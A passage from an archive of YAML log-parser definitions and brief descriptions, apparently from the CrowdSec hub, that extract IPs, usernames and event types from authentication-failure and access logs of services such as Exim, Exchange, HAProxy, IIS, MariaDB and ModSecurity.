evt.Parsed.user - meta: source_ip expression: evt.Parsed.source_ip - meta: log_type value: ssh_failed-auth hub1/parsers/s01-parse/crowdsecurity/endlessh-logs.yaml000066400000000000000000000014261437532772500234720ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Line.Labels.type == 'endlessh'" name: crowdsecurity/endlessh-logs description: "Parse Endlessh logs" pattern_syntax: ENDLESSH_ACCEPT_V4: "%{TIMESTAMP_ISO8601:timestamp} ACCEPT host=(::ffff:)?%{IPV4:source_ip} " ENDLESSH_ACCEPT_V6: "%{TIMESTAMP_ISO8601:timestamp} ACCEPT host=%{IPV6:source_ip} " nodes: - grok: name: "ENDLESSH_ACCEPT_V4" apply_on: Line.Raw statics: - meta: log_type value: endlessh_accept - grok: name: "ENDLESSH_ACCEPT_V6" apply_on: Line.Raw statics: - meta: log_type value: endlessh_accept statics: - meta: service value: endlessh - target: evt.StrTime expression: evt.Parsed.timestamp - meta: source_ip expression: "evt.Parsed.source_ip" hub1/parsers/s01-parse/crowdsecurity/exchange-imap-logs.yaml000066400000000000000000000020341437532772500243670ustar00rootroot00000000000000filter: "evt.Parsed.program == 'exchange-imap'" onsuccess: next_stage #debug: true name: crowdsecurity/exchange-imap-logs description: "Parse exchange IMAP logs" #dateTime,sessionId,seqNumber,sIp,cIp,user,duration,rqsize,rpsize,command,parameters,context,puid #2022-06-16T09:41:21.094Z,000000000000004B,2,192.168.9.241:993,192.168.9.212:49016,foobar,34,31,31,authenticate,PLAIN,"R=""2 NO AUTHENTICATE failed."";Msg=""AuthFailed:LogonDenied,User: foobar"";ErrMsg=AuthFailed:LogonDenied", grok: pattern: "%{TIMESTAMP_ISO8601:date},%{DATA:session_id},%{INT:sequence_number},%{IPORHOST:server_ip}:%{INT:server_port},%{IPORHOST:client_ip}:%{INT:client_port},%{DATA:username},%{INT:duration},%{INT:rqsize},%{INT:rpsize},%{WORD:command},%{DATA:parameters},%{DATA}AuthFailed:LogonDenied\",%{DATA:puid}?" apply_on: message statics: - target: evt.StrTime expression: evt.Parsed.date - meta: source_ip expression: evt.Parsed.client_ip - meta: service value: exchange - meta: log_type value: imap - meta: sub_type value: auth_failhub1/parsers/s01-parse/crowdsecurity/exchange-pop-logs.yaml000066400000000000000000000020741437532772500242430ustar00rootroot00000000000000filter: "evt.Parsed.program == 'exchange-pop'" onsuccess: next_stage #debug: true name: crowdsecurity/exchange-pop-logs description: "Parse exchange POP logs" #dateTime,sessionId,seqNumber,sIp,cIp,user,duration,rqsize,rpsize,command,parameters,context,puid #2022-06-20T00:03:48.531Z,0000000000001E86,1,192.168.9.241:995,192.168.9.212:33526,testuser,171,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", grok: pattern: "%{TIMESTAMP_ISO8601:date},%{DATA:session_id},%{INT:sequence_number},%{IPORHOST:server_ip}:%{INT:server_port},%{IPORHOST:client_ip}:%{INT:client_port},%{DATA:username},%{INT:duration},%{INT:rqsize},%{INT:rpsize},%{WORD:command},%{DATA:parameters},%{DATA}AuthFailed:LogonDenied\",%{DATA:puid}?" apply_on: message statics: - target: evt.StrTime expression: evt.Parsed.date - meta: source_ip expression: evt.Parsed.client_ip - meta: service value: exchange - meta: log_type value: pop - meta: sub_type value: auth_failhub1/parsers/s01-parse/crowdsecurity/exchange-smtp-logs.md000066400000000000000000000000531437532772500240610ustar00rootroot00000000000000A parser for exchange SMTP protocol logs. hub1/parsers/s01-parse/crowdsecurity/exchange-smtp-logs.yaml000066400000000000000000000017401437532772500244270ustar00rootroot00000000000000filter: "evt.Parsed.program == 'exchange-smtp'" onsuccess: next_stage #debug: true name: crowdsecurity/exchange-smtp-logs description: "Parse exchange SMTP logs" #date-time,connector-id,session-id,sequence-number,local-endpoint,remote-endpoint,event,data,context #2022-04-28T13:24:50.200Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA28A9AF671267,15,192.168.9.241:25,192.168.9.212:28657,>,535 5.7.3 Authentication unsuccessful, grok: pattern: "%{TIMESTAMP_ISO8601:date},%{DATA:connector_id},%{DATA:session_id},%{INT:sequence_number},%{IPORHOST:server_ip}:%{INT:server_port},%{IPORHOST:client_ip}:%{INT:client_port},%{DATA:event},%{INT:smtp_code} [^ ]+ %{DATA:smtp_message}," apply_on: message statics: - target: evt.StrTime expression: evt.Parsed.date - meta: source_ip expression: evt.Parsed.client_ip - meta: smtp_message expression: evt.Parsed.smtp_message - meta: service value: exchange - meta: log_type value: smtp - meta: sub_type value: auth_failhub1/parsers/s01-parse/crowdsecurity/exim-logs.md000066400000000000000000000000211437532772500222530ustar00rootroot00000000000000Exim logs parser hub1/parsers/s01-parse/crowdsecurity/exim-logs.yaml000066400000000000000000000124211437532772500226240ustar00rootroot00000000000000onsuccess: next_stage #debug: true filter: "evt.Parsed.program == 'exim'" name: crowdsecurity/exim-logs description: "Parse exim logs" pattern_syntax: NO_DOUBLE_QUOTE: '[^"]+' NO_GREATER: '[^>]+' NO_END_BRACKET: '[^\]]+' NO_END_PAR: '[^\)]+' NOSPACE: '[^ ]+' DATE_T: '[0-9-]+ [0-9:]+' EXIM_HEADER: '%{DATE_T:date} dovecot_(login|plain)' nodes: - grok: pattern: '%{EXIM_HEADER} authenticator failed for \(\[%{NO_END_BRACKET:target_ip}\]\) \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port}: %{INT} Incorrect authentication data \(set_id=%{NO_END_PAR:target_user}\)' apply_on: message statics: - meta: log_type value: exim_failed_auth - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{EXIM_HEADER} authenticator failed for \(%{NO_END_PAR:target_dns}\) \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port}: %{INT} Incorrect authentication data \(set_id=%{NO_END_PAR:target_user}\)' apply_on: message statics: - meta: log_type value: exim_failed_auth - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{EXIM_HEADER} authenticator failed for %{NOSPACE:target_dns} \(\[%{NO_END_BRACKET:target_ip}\]\) \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port}: %{INT} Incorrect authentication data \(set_id=%{NO_END_PAR:target_user}\)' apply_on: message statics: - meta: log_type value: exim_failed_auth - target: evt.StrTime expression: evt.Parsed.date - grok: pattern: '%{DATE_T:date} H=%{NOSPACE:source_dns} \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port} F=<%{NO_GREATER:source_user}> rejected RCPT <%{NO_GREATER:target_user}>: "JunkMail rejected - %{NOSPACE} \[%{NO_END_BRACKET}\]:%{INT} is in an RBL: %{NO_DOUBLE_QUOTE:rbl_url}"' apply_on: message statics: - meta: log_type value: spam-attempt - target: evt.StrTime expression: evt.Parsed.date - meta: rbl_url expression: evt.Parsed.rbl_url - meta: source_user expression: evt.Parsed.source_user - meta: source_dns expression: "evt.Parsed.source_dns" - grok: pattern: '%{DATE_T:date} H=%{NOSPACE:source_dns} \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port} X=%{NOSPACE:tls_cipher} CV=%{NOSPACE} F=<%{NO_GREATER:source_user}> rejected RCPT <%{NO_GREATER:target_user}>: No Such User Here' apply_on: message statics: - meta: log_type value: exim_failed_auth - target: evt.StrTime expression: evt.Parsed.date - meta: source_user expression: evt.Parsed.source_user - meta: source_dns expression: "evt.Parsed.source_dns" - grok: pattern: '%{DATE_T:date} H=%{NOSPACE:source_dns} \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port} temporarily rejected connection in "%{NO_DOUBLE_QUOTE:acl}" ACL: "Host is ratelimited \(%{NO_END_PAR:rate_limit}\)' apply_on: message statics: - meta: log_type value: spam-attempt - target: evt.StrTime expression: evt.Parsed.date - meta: source_user expression: evt.Parsed.source_user - meta: source_dns expression: "evt.Parsed.source_dns" - grok: pattern: '%{DATE_T:date} H=%{NOSPACE:source_dns} \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port} sender verify fail for <%{NO_GREATER:source_user}>: The mail server does not recognize %{NOSPACE} as a valid sender.' apply_on: message statics: - meta: log_type value: spam-attempt - target: evt.StrTime expression: evt.Parsed.date - meta: source_user expression: evt.Parsed.source_user - meta: source_dns expression: "evt.Parsed.source_dns" - grok: pattern: '%{DATE_T:date} H=%{NOSPACE:source_dns} \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port} X=%{NOSPACE:tls_cipher} CV=%{NOSPACE} F=<%{NO_GREATER:source_user}> rejected RCPT <%{NO_GREATER:target_user}>: Sender verify failed' apply_on: message statics: - meta: log_type value: spam-attempt - target: evt.StrTime expression: evt.Parsed.date - meta: source_user expression: evt.Parsed.source_user - meta: source_dns expression: "evt.Parsed.source_dns" - grok: pattern: '%{DATE_T:date} H=\(%{NO_END_PAR:source_dns}\) \[%{NO_END_BRACKET:source_ip}\]:%{INT:source_port} X=%{NOSPACE:tls_cipher} CV=%{NOSPACE} F=<%{NO_GREATER:source_user}> rejected RCPT <%{NO_GREATER:target_user}>: SMTP AUTH is required for message submission on port %{INT:target_port}' apply_on: message statics: - meta: log_type value: spam-attempt - target: evt.StrTime expression: evt.Parsed.date - meta: source_user expression: evt.Parsed.source_user - meta: source_dns expression: "evt.Parsed.source_dns" - meta: target_port expression: "evt.Parsed.target_port" statics: - meta: service value: exim - meta: source_ip expression: "evt.Parsed.source_ip" - meta: target_ip expression: "evt.Parsed.target_ip" - meta: target_dns expression: "evt.Parsed.target_dns" - meta: username expression: "evt.Parsed.target_user" hub1/parsers/s01-parse/crowdsecurity/fastly-logs.md000066400000000000000000000004071437532772500226230ustar00rootroot00000000000000Parser for fastly logs with default format [(see faslty documentation)](https://docs.fastly.com/en/guides/integrations#_logging-endpoints) **Mandatory** You need to add those labels on the acquisition: ```yaml labels: type: syslog external_format: fastly ```hub1/parsers/s01-parse/crowdsecurity/fastly-logs.yaml000066400000000000000000000026441437532772500231720ustar00rootroot00000000000000filter: "evt.Line.Labels.external_format == 'fastly'" onsuccess: next_stage #debug: true name: crowdsecurity/fastly-logs description: fastly logs parser pattern_syntax: DOUBLE_NUM: "[0-9]{2}" grok: pattern: "%{GREEDYDATA:fastly_timestamp}\\+%{DOUBLE_NUM:tz_part1}%{DOUBLE_NUM:tz_part2}" expression: JsonExtract(evt.Parsed.message, "timestamp") statics: - meta: service value: http - meta: log_type value: http_access-log - target: evt.StrTime expression: evt.Parsed.fastly_timestamp + ".00+" + evt.Parsed.tz_part1 + ":" + evt.Parsed.tz_part2 - meta: source_ip expression: JsonExtract(evt.Parsed.message, "client_ip") - target: evt.Parsed.request expression: JsonExtract(evt.Parsed.message, "url") - meta: http_path expression: JsonExtract(evt.Parsed.message, "url") - parsed: verb expression: JsonExtract(evt.Parsed.message, "request_method") - meta: verb expression: JsonExtract(evt.Parsed.message, "request_method") - parsed: http_referer expression: JsonExtract(evt.Parsed.message, "request_referer") - parsed: http_user_agent expression: JsonExtract(evt.Parsed.message, "request_user_agent") - meta: http_user_agent expression: JsonExtract(evt.Parsed.message, "request_user_agent") - meta: http_status expression: JsonExtract(evt.Parsed.message, "response_status") - parsed: body_bytes_sent expression: JsonExtract(evt.Parsed.message, "response_body_size")hub1/parsers/s01-parse/crowdsecurity/haproxy-logs.yaml000066400000000000000000000032561437532772500233620ustar00rootroot00000000000000filter: "evt.Parsed.program startsWith 'haproxy'" onsuccess: next_stage name: crowdsecurity/haproxy-logs description: "Parse haproxy http logs" grok: pattern: '%{IP:client_ip}:%{INT:client_port} \[%{HAPROXYDATE:accept_date}\] %{NOTSPACE:frontend_name} %{NOTSPACE:backend_name}/%{NOTSPACE:server_name} %{INT:time_request}/%{INT:time_queue}/%{INT:time_backend_connect}/%{INT:time_backend_response}/%{NOTSPACE:time_duration} %{INT:http_status_code} %{NOTSPACE:bytes_read} %{DATA:captured_request_cookie} %{DATA:captured_response_cookie} %{NOTSPACE:termination_state} %{INT:actconn}/%{INT:feconn}/%{INT:beconn}/%{INT:srvconn}/%{NOTSPACE:retries} %{INT:srv_queue}/%{INT:backend_queue} (\{%{HAPROXYCAPTUREDREQUESTHEADERS}\})?( )?(\{%{HAPROXYCAPTUREDRESPONSEHEADERS}\})?( )?"(|(%{WORD:http_verb} (%{URIPROTO:http_proto}://)?(?:%{USER:http_user}(?::[^@]*)?@)?(?:%{URIHOST:http_host})?(?:%{URIPATHPARAM:http_request})?( HTTP/%{NUMBER:http_version})?))?"' apply_on: message statics: - meta: log_type value: http_access-log #HAPROXYDATE format is unknown to dateparse, let convert it to a format we know to parse - target: evt.StrTime expression: evt.Parsed.haproxy_monthday + '/' + evt.Parsed.haproxy_month + '/' + evt.Parsed.haproxy_year + ':' + evt.Parsed.haproxy_hour + ':' + evt.Parsed.haproxy_minute + ':' + evt.Parsed.haproxy_second[0:2] + ' -0000' - meta: service value: http - meta: source_ip expression: evt.Parsed.client_ip - meta: http_path expression: evt.Parsed.http_request - meta: http_status expression: evt.Parsed.http_status_code - parsed: request expression: evt.Parsed.http_request - parsed: verb expression: evt.Parsed.http_verb hub1/parsers/s01-parse/crowdsecurity/home-assistant-logs.md000066400000000000000000000001431437532772500242550ustar00rootroot00000000000000Home assistant authentication failure parser. Supports homeassistant docker image and HassOS logs.hub1/parsers/s01-parse/crowdsecurity/home-assistant-logs.yaml000066400000000000000000000024121437532772500246200ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/home-assistant-logs description: "Parse Home Assistant logs" filter: "evt.Parsed.program == 'home-assistant' or evt.Parsed.program endsWith 'homeassistant'" pattern_syntax: TIMESTAMP: '%{YEAR}-%{MONTHNUM}-%{MONTHDAY} %{HOUR}:%{MINUTE}:%{SECOND}' nodes: - grok: pattern: "%{TIMESTAMP:time} WARNING \\(%{DATA:threadName}\\) \\[homeassistant.components.http.ban\\] Login attempt or request with invalid authentication from %{DATA:source_rdns} \\(%{IPORHOST:source_ip}\\). \\(%{GREEDYDATA:http_user_agent}\\)" apply_on: message statics: - meta: log_type value: home-assistant_failed_auth - grok: pattern: "%{TIMESTAMP:time} WARNING \\(%{DATA:threadName}\\) \\[homeassistant.components.http.ban\\] Login attempt or request with invalid authentication from %{DATA:source_rdns} \\(%{IPORHOST:source_ip}\\). Requested URL: '%{GREEDYDATA:url}'. \\(%{GREEDYDATA:http_user_agent}\\)" apply_on: message statics: - meta: log_type value: home-assistant_failed_auth statics: - target: StrTime expression: "evt.Parsed.time" - meta: service value: http - meta: source_ip expression: "evt.Parsed.source_ip" - meta: source_rdns expression: "evt.Parsed.source_rdns" hub1/parsers/s01-parse/crowdsecurity/iis-logs.md000066400000000000000000000001141437532772500221000ustar00rootroot00000000000000Parser for IIS default W3C logs. Log file and event log are both supported.hub1/parsers/s01-parse/crowdsecurity/iis-logs.yaml000066400000000000000000000052421437532772500224510ustar00rootroot00000000000000filter: "evt.Parsed.program == 'iis'" onsuccess: next_stage name: crowdsecurity/iis-logs description: "Parse IIS access logs" nodes: #W3C logs can come from the event log - filter: "evt.Meta.datasource_type == 'wineventlog' and evt.Parsed.EventID == '6200'" statics: - meta: source_ip expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='c-ip']") - meta: http_status expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='sc-status']") - parsed: http_path expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='cs-uri-stem']") - meta: http_path expression: evt.Parsed.http_path - target: evt.Parsed.http_args expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='cs-uri-query']") - parsed: verb expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='cs-method']") - meta: http_verb expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='cs-method']") - meta: http_user_agent expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='csUser-Agent']") - meta: target_fqdn expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='s-sitename']") #not a FQDN, but close enough ? - target: evt.StrTime expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='date']") + " " + XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[@Name='time']") - target: evt.Parsed.request expression: evt.Meta.http_path + '?' + evt.Parsed.http_args - filter: "evt.Parsed.datasource_type != 'wineventlog'" grok: pattern: "%{TIMESTAMP_ISO8601:date} %{IP:server_ip} %{WORD:http_method} %{DATA:http_path} %{DATA:http_args} %{INT} %{DATA:remote_user} %{IP:client_ip} %{DATA:user_agent} %{DATA:referer} %{INT:status} %{INT:substatus} %{INT:win32_status} %{INT:duration}" apply_on: message statics: - target: evt.StrTime expression: evt.Parsed.date - meta: source_ip expression: evt.Parsed.client_ip - meta: http_status expression: evt.Parsed.status - meta: http_path expression: evt.Parsed.http_path - meta: http_user_agent expression: evt.Parsed.user_agent - meta: http_verb expression: evt.Parsed.method - parsed: verb expression: evt.Parsed.method - target: evt.Parsed.request expression: evt.Meta.http_path + '?' + evt.Parsed.http_args statics: - meta: service value: http - meta: log_type value: http_access-loghub1/parsers/s01-parse/crowdsecurity/iptables-logs.md000066400000000000000000000005551437532772500231300ustar00rootroot00000000000000A parser for iptables `-j LOG` logs : - Only parse kernel messages containing `IN=` - Skip lines if decisions is `ACCEPT` - All logged packets are considered as DROPs. To make this parser relevant, you should have a `iptables -A INPUT -m state --state NEW -j LOG` or similar into your configuration. This one will log all new connections, successful or not. hub1/parsers/s01-parse/crowdsecurity/iptables-logs.yaml000066400000000000000000000011101437532772500234560ustar00rootroot00000000000000onsuccess: next_stage #debug: true filter: "evt.Parsed.program == 'kernel' and evt.Parsed.message contains 'IN=' and not (evt.Parsed.message contains 'ACCEPT')" name: crowdsecurity/iptables-logs description: "Parse iptables drop logs" grok: pattern: IN=%{DATA:int_eth} (OUT= )?MAC=%{IP}:%{MAC} SRC=%{IP:src_ip} DST=%{IP:dst_ip} LEN=%{INT:length}.*PROTO=%{WORD:proto} SPT=%{INT:src_port} DPT=%{INT:dst_port} apply_on: message statics: - meta: service value: tcp - meta: log_type value: iptables_drop - meta: source_ip expression: "evt.Parsed.src_ip" hub1/parsers/s01-parse/crowdsecurity/kasm-logs.md000066400000000000000000000000001437532772500222410ustar00rootroot00000000000000hub1/parsers/s01-parse/crowdsecurity/kasm-logs.yaml000066400000000000000000000012711437532772500226160ustar00rootroot00000000000000filter: "evt.Parsed.program startsWith 'kasm'" onsuccess: next_stage # debug: true name: crowdsecurity/kasm-logs description: "Parse kasm logs" nodes: - grok: pattern: '%{IPORHOST:remote_ip}(,%{GREEDYDATA:proxies})?' expression: JsonExtract(evt.Line.Raw, "request_ip") statics: - meta: service value: kasm - target: evt.StrTime expression: JsonExtract(evt.Line.Raw, "timestamp") - meta: metric_name expression: JsonExtract(evt.Line.Raw, "metric_name") - meta: source_ip expression: evt.Parsed.remote_ip - meta: http_user_agent expression: JsonExtract(evt.Line.Raw, "user_agent") - meta: http_path expression: JsonExtract(evt.Line.Raw, "path_info")hub1/parsers/s01-parse/crowdsecurity/litespeed-logs.md000066400000000000000000000001431437532772500232740ustar00rootroot00000000000000A parser for litespeed server logs, support both access and errors (HTTP user authentication) logs.hub1/parsers/s01-parse/crowdsecurity/litespeed-logs.yaml000066400000000000000000000040031437532772500236350ustar00rootroot00000000000000filter: "evt.Parsed.program == 'litespeed'" onsuccess: next_stage name: crowdsecurity/litespeed-logs description: "Parse litespeed access and error logs" nodes: - grok: #access log pattern: '%{IPORHOST:remote_addr} - (%{NGUSER:remote_user})? \[%{HTTPDATE:time_local}\] "%{WORD:verb} %{DATA:request} HTTP/%{NUMBER:http_version}" %{NUMBER:status} %{NUMBER:body_bytes_sent} "%{NOTDQUOTE:http_referer}" "%{NOTDQUOTE:http_user_agent}"' apply_on: message statics: - meta: log_type value: http_access-log - target: evt.StrTime expression: evt.Parsed.time_local - grok: #user not found or bad password for HTTP auth pattern: "%{TIMESTAMP_ISO8601:time} \\[%{DATA:log_level}\\] \\[%{NONNEGINT:pid}\\] \\[%{IPORHOST:remote_addr}:%{DATA:misc}#%{DATA:vhost}\\] User '%{NGUSER:username}' failed to authenticate\\." apply_on: message statics: - meta: sub_type value: "auth_fail" - meta: username expression: evt.Parsed.username - target: evt.StrTime expression: evt.Parsed.time - grok: #admin UI auth fail pattern: "%{TIMESTAMP_ISO8601:time} \\[%{DATA:log_level}\\] \\[%{NONNEGINT:pid}\\] \\[%{IPORHOST:remote_addr}:%{DATA:misc}#%{DATA:vhost}\\] \\[%{WORD}\\] \\[%{DATA}\\] Failed Login Attempt - username:%{DATA:username} ip:%{IP:client_ip} url:%{DATA:url}" apply_on: message statics: - meta: sub_type value: "litespeed_admin_auth_fail" - target: evt.StrTime expression: evt.Parsed.time - meta: username expression: evt.Parsed.username statics: - meta: service value: http - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: http_status expression: "evt.Parsed.status" - meta: http_path expression: "evt.Parsed.request" - meta: http_verb expression: "evt.Parsed.verb" - meta: http_user_agent expression: "evt.Parsed.http_user_agent" - meta: target_fqdn expression: "evt.Parsed.target_fqdn" hub1/parsers/s01-parse/crowdsecurity/magento-extension-logs.md000066400000000000000000000001671437532772500247700ustar00rootroot00000000000000Parser for the [CrowdSec Magento Extension](https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-magento-bouncer).hub1/parsers/s01-parse/crowdsecurity/magento-extension-logs.yaml000066400000000000000000000023251437532772500253300ustar00rootroot00000000000000onsuccess: next_stage #debug: true filter: "evt.Parsed.program == 'magento-extension'" name: crowdsecurity/magento-extension-logs description: "Parse CrowdSec Magento extension logs" pattern_syntax: HEADER: '\[%{DATA:timestamp}\] crowdsec-events\.[^:]+: %{GREEDYDATA:line} \[\]' nodes: - grok: name: "HEADER" apply_on: message statics: - target: StrTime expression: evt.Parsed.timestamp statics: - meta: service value: magento - meta: log_type expression: JsonExtract(evt.Parsed.line, "type") - meta: source_ip expression: JsonExtract(evt.Parsed.line, "ip") - meta: x_forwarded_for expression: JsonExtract(evt.Parsed.line, "x-forwarded-for-ip") - meta: bouncer_agent expression: JsonExtract(evt.Parsed.line, "bouncer_agent") - meta: customer_id expression: JsonExtract(evt.Parsed.line, "customer_id") - meta: payment_method expression: JsonExtract(evt.Parsed.line, "payment_method") - meta: order_id expression: JsonExtract(evt.Parsed.line, "order_id") - meta: product_id expression: JsonExtract(evt.Parsed.line, "product_id") - meta: quote_id expression: JsonExtract(evt.Parsed.line, "quote_id")hub1/parsers/s01-parse/crowdsecurity/mariadb-logs.md000066400000000000000000000000471437532772500227200ustar00rootroot00000000000000Mariadb authentication failure parser. hub1/parsers/s01-parse/crowdsecurity/mariadb-logs.yaml000066400000000000000000000020221437532772500232550ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/mariadb-logs description: "Parse MariaDB logs" filter: "evt.Parsed.program startsWith 'mariadb'" pattern_syntax: LONG_DATE_YMD: "%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}" SHORT_DATE_YMD: "%{YEAR:year}%{MONTHNUM2:month}%{MONTHDAY:day}" PASSWORD_SYNTAX: " ?%{TIME:time} (%{NUMBER:thread_id} )?\\[Warning\\] Access denied for user '%{DATA:user}'@'%{IP:source_ip}' \\(using password: %{WORD:using_password}\\)" nodes: - grok: pattern: "%{LONG_DATE_YMD:date} %{PASSWORD_SYNTAX}" apply_on: message onsuccess: next_stage - grok: pattern: "%{SHORT_DATE_YMD:date} %{PASSWORD_SYNTAX}" apply_on: message statics: - target: evt.StrTimeFormat value: "060102 15:04:05" onsuccess: next_stage statics: - target: evt.StrTime expression: "evt.Parsed.date + ' ' + evt.Parsed.time" - meta: log_type value: "mariadb_failed_auth" - meta: source_ip expression: "evt.Parsed.source_ip" - meta: user expression: "evt.Parsed.user" hub1/parsers/s01-parse/crowdsecurity/modsecurity.md000066400000000000000000000001471437532772500227270ustar00rootroot00000000000000This modsecurity parser support modsecurity logs from apache2 error log. (Not tested with Nginx yet). hub1/parsers/s01-parse/crowdsecurity/modsecurity.yaml000066400000000000000000000074741437532772500233030ustar00rootroot00000000000000onsuccess: next_stage filter: evt.Parsed.program == 'modsecurity' name: crowdsecurity/modsecurity #debug: true description: A parser for modsecurity WAF pattern_syntax: APACHEERRORPREFIX2: "\\[%{APACHEERRORTIME:timestamp}\\] \\[%{NOTSPACE:apacheseverity}\\] (\\[pid %{INT}(:tid %{INT})?\\] )?\\[client %{IPORHOST:sourcehost}(:%{INT:source_port})?\\] (\\[client %{IPORHOST}\\])?" NGINXERRORPREFIX: "%{NGINXERRTIME:time} \\[%{LOGLEVEL:loglevel}\\] %{NONNEGINT:pid}#%{NONNEGINT:tid}: (\\*%{NONNEGINT:cid} )?(\\[client %{IPORHOST}\\] )?" NGINXERRORSUFFIX: "client: %{IPORHOST:remote_addr}, server: %{DATA:target_fqdn}, request: \"%{WORD:verb} %{URIPATHPARAM:request} HTTP/%{NUMBER:http_version}\", host: \"%{IPORHOST}(:%{INT})?\"" MODSECNGINXPREFIX: "%{NGINXERRORPREFIX}ModSecurity: (%{NOTSPACE:modsecseverity}\\. )?%{GREEDYDATA:modsecmessage}" MODSECPREFIX2: "%{APACHEERRORPREFIX2} ModSecurity: (%{NOTSPACE:modsecseverity}\\. )?%{GREEDYDATA:modsecmessage}" MODSECRULEFILE2: "\\[file \"%{DATA:rulefile}\"\\]" MODSECRULELINE2: "\\[line \"%{DATA:ruleline}\"\\]" MODSECMATCHOFFSET2: "\\[offset \"%{DATA:matchoffset}\"\\]" MODSECRULEID2: "\\[id \"%{DATA:ruleid}\"\\]" MODSECRULEREV2: "\\[rev \"%{DATA:rulerev}\"\\]" MODSECRULEMSG2: "\\[msg \"%{DATA:rulemessage}\"\\]" MODSECRULEDATA2: "\\[data \"%{DATA:ruledata}\"\\]" MODSECRULESEVERITY2: "\\[severity \"%{DATA:ruleseverity}\"\\]" MODSECRULEMATURITY: "\\[maturity \"%{DATA:maturity}\"\\]" MODSECRULEACCURACY: "\\[accuracy \"%{DATA:accuracy}\"\\]" MODSECRULEVERS2: "\\[ver \"%{DATA:version}\"\\]" MODSECRULETAGS2: "(?:\\[tag \"%{DATA:ruletag0}\"\\] )?(?:\\[tag \"%{DATA:ruletag1}\"\\] )?(?:\\[tag \"%{DATA:ruletag2}\"\\] )?(?:\\[tag \"%{DATA:ruletag3}\"\\] )?(?:\\[tag \"%{DATA:ruletag4}\"\\] )?(?:\\[tag \"%{DATA:ruletag5}\"\\] )?(?:\\[tag \"%{DATA:ruletag6}\"\\] )?(?:\\[tag \"%{DATA:ruletag7}\"\\] )?(?:\\[tag \"%{DATA:ruletag8}\"\\] )?(?:\\[tag \"%{DATA:ruletag9}\"\\] )?(?:\\[tag \"%{DATA}\"\\] )*" MODSECHOSTNAME2: "\\[hostname ['\"]%{DATA:targethost}[\"']\\]" MODSECURI2: "\\[uri [\"']%{DATA:targeturi}[\"']\\]" MODSECUID2: "\\[unique_id \"%{DATA:uniqueid}\"\\]" MODSECREF2: "\\[ref \"%{DATA:ref}\"\\]" MODSECAPACHEERROR2: "%{MODSECPREFIX2} %{MODSECRULEFILE2} %{MODSECRULELINE2} (?:%{MODSECMATCHOFFSET2} )?(?:%{MODSECRULEID2} )?(?:%{MODSECRULEREV2} )?(?:%{MODSECRULEMSG2} )?(?:%{MODSECRULEDATA2} )?(?:%{MODSECRULESEVERITY2} )?(?:%{MODSECRULEVERS2} )?%{MODSECRULETAGS2}%{MODSECHOSTNAME2} %{MODSECURI2} %{MODSECUID2}" MODSECNGINXERROR: "%{MODSECNGINXPREFIX} %{MODSECRULEFILE2} %{MODSECRULELINE2} (?:%{MODSECMATCHOFFSET2} )?(?:%{MODSECRULEID2} )?(?:%{MODSECRULEREV2} )?(?:%{MODSECRULEMSG2} )?(?:%{MODSECRULEDATA2} )?(?:%{MODSECRULESEVERITY2} )?(?:%{MODSECRULEVERS2} )?(?:%{MODSECRULEMATURITY} )?(?:%{MODSECRULEACCURACY} )?%{MODSECRULETAGS2}%{MODSECHOSTNAME2} %{MODSECURI2} %{MODSECUID2} %{MODSECREF2}, %{NGINXERRORSUFFIX}" nodes: - grok: name: MODSECAPACHEERROR2 apply_on: message statics: - meta: log_type value: modsecurity - meta: source_ip expression: evt.Parsed.sourcehost - target: evt.StrTime expression: evt.Parsed.timestamp - meta: rule_id expression: evt.Parsed.ruleid - meta: modsec_message expression: evt.Parsed.rulemessage - meta: modsec_ruledata expression: evt.Parsed.ruledata - grok: name: MODSECNGINXERROR apply_on: message statics: - meta: log_type value: modsecurity - meta: source_ip expression: evt.Parsed.remote_addr - target: evt.StrTime expression: evt.Parsed.time - meta: rule_id expression: evt.Parsed.ruleid - meta: modsec_message expression: evt.Parsed.rulemessage - meta: modsec_ruledata expression: evt.Parsed.ruledata hub1/parsers/s01-parse/crowdsecurity/mssql-logs.md000066400000000000000000000006311437532772500224570ustar00rootroot00000000000000Parser for MSSQL Logs via wineventlog OR MSSQL logs for [Azure-Edge-Sql](https://hub.docker.com/_/microsoft-azure-sql-edge) via docker ```yaml --- source: wineventlog event_channel: Application event_ids: - 18456 event_level: information labels: type: mssql --- source: docker container_id: - #Azure-Edge-Sql container ID container_name_regexp: - .*mssql* labels: type: mssql ``` hub1/parsers/s01-parse/crowdsecurity/mssql-logs.yaml000066400000000000000000000046061437532772500230270ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/mssql-logs description: "Parse mssql logs" filter: "evt.Parsed.Channel == 'Application' && evt.Parsed.Source == 'MSSQLSERVER' && evt.Parsed.EventID == '18456'" nodes: - grok: pattern: "Reason: Password did not match that for the login provided\\." expression: 